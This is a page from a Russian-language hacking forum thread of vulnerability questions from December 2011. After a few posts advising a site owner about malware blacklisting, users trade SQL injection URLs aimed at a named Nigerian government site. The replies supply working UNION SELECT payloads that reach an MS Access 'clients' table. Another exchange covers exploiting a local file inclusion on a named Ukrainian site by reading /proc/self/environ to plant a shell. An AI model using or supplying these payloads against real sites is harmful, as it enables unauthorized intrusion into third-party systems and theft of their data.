ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1873 из 2438 « Первая < 8731373177318231863 1869 1870 1871 1872 1873 1874 1875 1876 1877 1883192319732373 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #18721  
Старый 01.12.2011, 04:51
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 548
С нами: 8885780

Репутация: 672


По умолчанию
Цитата:
Сообщение от Wave  
Тогда я пишу правильно )
Это мой сайт... так что вреда ему я никак не желаю
а вот узнать сможет ли мне кто либо навредить - хотелось бы знать
тогда вам сюда /forum110.html

Цитата:
Сообщение от None  
Это так на него опера ругается ?
из-за чего... там ничего плохого нету
спросите яндексу, оно в блеклисте яндекса, по "Malware Warning"
 
Ответить с цитированием

  #18722  
Старый 01.12.2011, 04:57
Wave
Познающий
Регистрация: 15.08.2010
Сообщений: 89
С нами: 8285366

Репутация: 0
По умолчанию
Яндекс ругается из-за комментов что оставляют на сайте

там было и возможно еще есть спам
 
Ответить с цитированием

  #18723  
Старый 01.12.2011, 17:27
Melfis
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами: 7921046

Репутация: 53


По умолчанию
Цитата:
Сообщение от Wave  
Яндекс ругается из-за комментов что оставляют на сайте
там было и возможно еще есть спам
у тебя или стоит, или стоял фрейм или ещё какая херня, через которую распространялся троян. Домен, откуда распространялся трой попал в блек яши, потом за ним и твой сайт попал к нему в блек, через некоторое время (пол часа-час) твой сайт попал в блэк у оперы. После того, как ты закроешь дырки на сайте, убьёшь шеллы, сменишь пароли (чтобы те по новой не поставили фрейм) пройдёт ещё около двух суток прежде чем сайт твой выйдет из блэков. Даже, если в текущий момент в коде страниц ты не можешь найти такого фрейма, то это не значит, что как только вылезешь из блэка, его не поставят снова (те кто твой сайт ломанули).

Яша на спам на сайте не ругается таким образом.
 
Ответить с цитированием

  #18724  
Старый 02.12.2011, 18:55
lightangel
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами: 7638806

Репутация: -6
По умолчанию
http://www.nwri.gov.ng/about/board_Detail.asp?id=52+order+by+14(error)

http://www.nwri.gov.ng/about/board_Detail.asp?id=52+order+by+13(no error)

But union select is not working and "user" table is available.
 
Ответить с цитированием

  #18725  
Старый 02.12.2011, 21:48
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 548
С нами: 8885780

Репутация: 672


По умолчанию
Цитата:
Сообщение от lightangel  
http://www.nwri.gov.ng/about/board_Detail.asp?id=52+order+by+14(error)
http://www.nwri.gov.ng/about/board_Detail.asp?id=52+order+by+13(no error)
But union select is not working and "user" table is available.
http://www.nwri.gov.ng/about/board_Detail.asp?id=52+and+0+union+select+1,2,3,4, 5,6,7,8,9,10,11,12,13+from+msysaccessobjects

read some manuals =\
 
Ответить с цитированием

  #18726  
Старый 02.12.2011, 22:05
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 16
С нами: 9176038

Репутация: 8
По умолчанию
Цитата:
Сообщение от lightangel  
http://www.nwri.gov.ng/about/board_Detail.asp?id=52+order+by+14(error)
http://www.nwri.gov.ng/about/board_Detail.asp?id=52+order+by+13(no error)
But union select is not working and "user" table is available.
This is MsAccess

Injects

Код:
_ttp://www.nwri.gov.ng/about/board_Detail.asp?id=52+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+clients

_ttp://www.nwri.gov.ng/about/board_Detail.asp?id=52+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+clients.clin

_ttp://www.nwri.gov.ng/about/board_Detail.asp?id=52+and+(select+count(name)+from+clients)>0+and+1=1
Datas

Код:
path = c:\windows\system32\inetsrv\
Table = Clients
Fields = id, name, etc...
 
Ответить с цитированием

  #18727  
Старый 02.12.2011, 22:14
lightangel
Познающий
Регистрация: 07.11.2011
Сообщений: 91
С нами: 7638806

Репутация: -6
По умолчанию
Thank you so much, noted that.
 
Ответить с цитированием

  #18728  
Старый 02.12.2011, 22:18
sl1k
Новичок
Регистрация: 31.07.2009
Сообщений: 1
С нами: 8832539

Репутация: 0
По умолчанию
есть LRI вида http://www.svaltera.ua/index.php?inc=../../../../../../../../proc/self/fd/2

можно как то использовать ?
 
Ответить с цитированием

  #18729  
Старый 02.12.2011, 22:37
DyukiN
Участник форума
Регистрация: 10.07.2011
Сообщений: 252
С нами: 7811606

Репутация: 21
По умолчанию
допустим я нашел путь в файлу phpinfo , как он мне чем то может помочь?
 
Ответить с цитированием

  #18730  
Старый 02.12.2011, 22:51
vasykas
Постоянный
Регистрация: 07.03.2011
Сообщений: 963
С нами: 7991606

Репутация: 37


По умолчанию
Цитата:
Сообщение от sl1k  
есть LRI вида http://www.svaltera.ua/index.php?inc=../../../../../../../../proc/self/fd/2
можно как то использовать ?
попробуй

/proc/self/envirion если есть то процентов 50

получиться шелл закинуть
 
Ответить с цитированием
Ответ
Страница 1873 из 2438 « Первая < 8731373177318231863 1869 1870 1871 1872 1873 1874 1875 1876 1877 1883192319732373 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.